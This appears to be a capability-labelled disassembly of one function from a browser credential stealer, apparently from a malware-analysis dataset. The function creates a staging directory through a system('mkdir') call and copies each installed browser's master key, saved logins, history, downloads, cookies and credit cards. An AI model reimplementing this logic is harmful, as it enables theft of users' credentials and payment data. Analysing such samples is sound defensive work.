Function at 0x404956
Capabilities:
Execute command

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0xa4
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov dword [esp], str.CONTROL_DST:__s_n
call sym._printf_5
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov dword [esp], 0x444c20
call sym._strcpy
mov dword [ebp - 0x10], 0x424132
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._check_exist
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x4049e8
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], str.mkdir__s
lea eax, [ebp - 0x98]
mov dword [esp], eax
call sym._sprintf_5
lea eax, [ebp - 0x98]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x4049e8
mov dword [esp], str.Create_dst_dir_failed
call sym._puts
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._installed_browsers
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0xc], 0
jmp 0x404c81
mov eax, dword [ebp - 0xc]
lea edx, [eax*4]
mov eax, dword [ebp - 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, 4
mov edx, dword [eax]
mov eax, dword [ebp - 0xc]
lea ecx, [eax*4]
mov eax, dword [ebp - 0x1c]
add eax, ecx
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov dword [esp], str.Processing:__s_t_s_n
call sym._printf_5
mov eax, dword [ebp - 0xc]
lea edx, [eax*4]
mov eax, dword [ebp - 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, 4
mov edx, dword [eax]
mov eax, dword [ebp - 0xc]
lea ecx, [eax*4]
mov eax, dword [ebp - 0x1c]
add eax, ecx
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._get_master_key_file
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x404a89
mov dword [esp], str.Copy_master_key_failed
call sym._puts
mov eax, dword [ebp - 0xc]
lea edx, [eax*4]
mov eax, dword [ebp - 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, 8
mov ecx, dword [eax]
mov eax, dword [ebp - 0xc]
lea edx, [eax*4]
mov eax, dword [ebp - 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, 4
mov edx, dword [eax]
mov eax, dword [ebp - 0xc]
lea ebx, [eax*4]
mov eax, dword [ebp - 0x1c]
add eax, ebx
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._get_login_data
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x404aed
mov dword [esp], str.Copy_Login_Data_failed
call sym._puts
mov eax, dword [ebp - 0xc]
lea edx, [eax*4]
mov eax, dword [ebp - 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, 8
mov ecx, dword [eax]
mov eax, dword [ebp - 0xc]
lea edx, [eax*4]
mov eax, dword [ebp - 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, 4
mov edx, dword [eax]
mov eax, dword [ebp - 0xc]
lea ebx, [eax*4]
mov eax, dword [ebp - 0x1c]
add eax, ebx
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._get_web_history
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
je 0x404b51
mov dword [esp], str.Copy_web_history_failed
call sym._puts
mov eax, dword [ebp - 0xc]
lea edx, [eax*4]
mov eax, dword [ebp - 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, 8
mov ecx, dword [eax]
mov eax, dword [ebp - 0xc]
lea edx, [eax*4]
mov eax, dword [ebp - 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, 4
mov edx, dword [eax]
mov eax, dword [ebp - 0xc]
lea ebx, [eax*4]
mov eax, dword [ebp - 0x1c]
add eax, ebx
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._get_downloads
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
je 0x404bb5
mov dword [esp], str.Copy_downloads_failed
call sym._puts
mov eax, dword [ebp - 0xc]
lea edx, [eax*4]
mov eax, dword [ebp - 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, 8
mov ecx, dword [eax]
mov eax, dword [ebp - 0xc]
lea edx, [eax*4]
mov eax, dword [ebp - 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, 4
mov edx, dword [eax]
mov eax, dword [ebp - 0xc]
lea ebx, [eax*4]
mov eax, dword [ebp - 0x1c]
add eax, ebx
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._get_cookies
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
je 0x404c19
mov dword [esp], str.Copy_cookies_failed
call sym._puts
mov eax, dword [ebp - 0xc]
lea edx, [eax*4]
mov eax, dword [ebp - 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, 8
mov ecx, dword [eax]
mov eax, dword [ebp - 0xc]
lea edx, [eax*4]
mov eax, dword [ebp - 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, 4
mov edx, dword [eax]
mov eax, dword [ebp - 0xc]
lea ebx, [eax*4]
mov eax, dword [ebp - 0x1c]
add eax, ebx
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._get_credit_cards
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
je 0x404c7d
mov dword [esp], str.Copy_cards_failed
call sym._puts
add dword [ebp - 0xc], 1
mov edx, dword [ebp - 0xc]
mov eax, dword [0x444e14]
cmp edx, eax
jb 0x404a02
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._free
mov eax, 0
mov ebx, dword [ebp - 4]
leave
ret